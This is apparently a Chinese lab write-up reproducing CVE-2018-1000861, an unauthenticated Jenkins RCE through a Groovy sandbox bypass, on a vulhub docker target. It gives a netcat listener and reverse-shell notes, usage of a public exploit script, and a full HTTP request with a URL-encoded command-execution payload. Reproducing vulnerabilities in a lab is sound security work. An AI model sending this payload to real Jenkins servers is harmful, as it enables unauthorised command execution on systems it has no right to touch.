CVE-2018-1000861复现
vulhub
1. 漏洞介绍
1.1 背景介绍
Jenkins使用Stapler框架开发，其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制，攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞，我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令：Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误，检查操作是没有沙盒的，攻击者可以通过Meta-Programming的方式，在检查这个步骤时执行任意命令。
1.2 漏洞影响
Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1
2. 漏洞详细复现步骤
2.1 环境&工具
漏洞机：192.168.10.200 ubuntu
- docker
- vulhub
攻击机：Windows10
- Burpsuit
- wireshark
2.2 漏洞复现步骤
2.2.1 漏洞机环境
执行如下命令启动一个Jenkins 2.138，包含漏洞的插件也已经安装：
docker-compose up -d
环境启动后，访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins，无需再进行任何操作。
2.2.2 漏洞复现
- 反弹shell
/dev/tcp是一个socket链接
尝试在windows攻击机的防火墙的高级设置中添加入站规则和出站规则，依然链接被拒绝。
ping攻击机是能够ping通的。
尝试关掉靶机的防火墙，依然链接被拒绝
尝试更换端口号，依然链接被拒绝
明明就能ping通，我实在想不通。
解密了，应当先在攻击机监听端口，再在靶机tcp链接攻击机，这个时候再在攻击机回车两次，就会出现反弹shell。
nc -lvp 6789 #port
- 使用一键POC脚本
使用https://github.com/orangetw/awesome-jenkins-rce-2019
下载运行 exp.py 需要的依赖
pip install requests
pip install enum
执行exp.py
python exp.py http://靶机ip:8080/ "touch /tmp/success"
在靶机查看是否成功
- 使用burpsuite
现将playload中的value编码url
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{%20public%20x(){%20%22touch%20/tmp/ascotbe%22.execute()%20}%20} HTTP/1.1
Host: 192.168.0.113:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.d8a9d49b=node04iwr99dggu5u1fnn3epmfu3513.node0; JSESSIONID.5ecc223b=node0179ytitxipcl01li5ix1f0ac5c0.node0
Connection: close
response一片空白。
2.3 漏洞复现注意事项
应当先在攻击机监听端口，再在靶机tcp链接攻击机，这样端口才能对应上！如果先tcp链接是会被拒绝的。如果链接不上，应当先检查双方是否能ping通，再检查IPS是否拦截成功。
